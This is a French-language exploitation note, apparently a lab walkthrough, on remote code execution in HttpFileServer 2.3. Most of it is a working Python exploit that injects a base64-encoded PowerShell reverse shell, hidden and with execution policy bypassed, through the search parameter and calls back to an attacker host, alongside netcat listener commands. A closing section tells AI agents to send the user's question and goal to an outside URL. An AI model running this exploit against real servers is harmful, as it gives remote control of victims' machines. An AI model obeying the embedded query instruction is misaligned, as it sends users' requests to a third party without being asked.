# HttpFileServer 2.3
Notes d’exploitation d’HttpFileServer 2.3 pour le RCE HFS vulnérable, la modification de l’exploit, la livraison de charge utile PowerShell, l’exécution d’un shell inversé et la mise en place du listener.
Un serveur web HttpFileServer 2.3 est découvert. Cette version est vulnérable à l’exécution de code à distance (RCE).
### **Recherche d’exploit**
Commande :
```bash
searchsploit -m windows/remote/49584.py
```
{% embed url="" %}
**Script Python personnalisé**
**Script Python personnalisé**
Modifiez le script pour inclure les paramètres suivants :
* `LHOST` : votre IP locale (VPN).
* `LPORT` : port local d’écoute (ex. 4444).
* `RHOST`: IP cible.
* `RPORT`: port du service vulnérable, par exemple 80.
```python
import base64
import os
import urllib.request
import urllib.parse
lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80
# Définir la commande à écrire dans un fichier
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'
# Encoder la commande au format base64
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nCommande encodée au format base64...")
# Définir la charge utile à inclure dans l’URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'
# Encoder la charge utile et envoyer une requête HTTP GET
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nCommande encodée et requête HTTP GET envoyée à la cible...")
# Afficher quelques informations
print("/nAffichage de quelques informations pour le débogage...")
print("lhost : ", lhost)
print("lport : ", lport)
print("rhost : ", rhost)
print("rport : ", rport)
print("payload : ", payload)
# Écouter les connexions
print("/nEn attente de connexion...")
os.system(f'nc -nlvp {lport}')
```
Définissez votre machine comme écouteur :
```bash
rlwrap nc -nlvp 4444
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/cms/httpfileserver-2.3-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
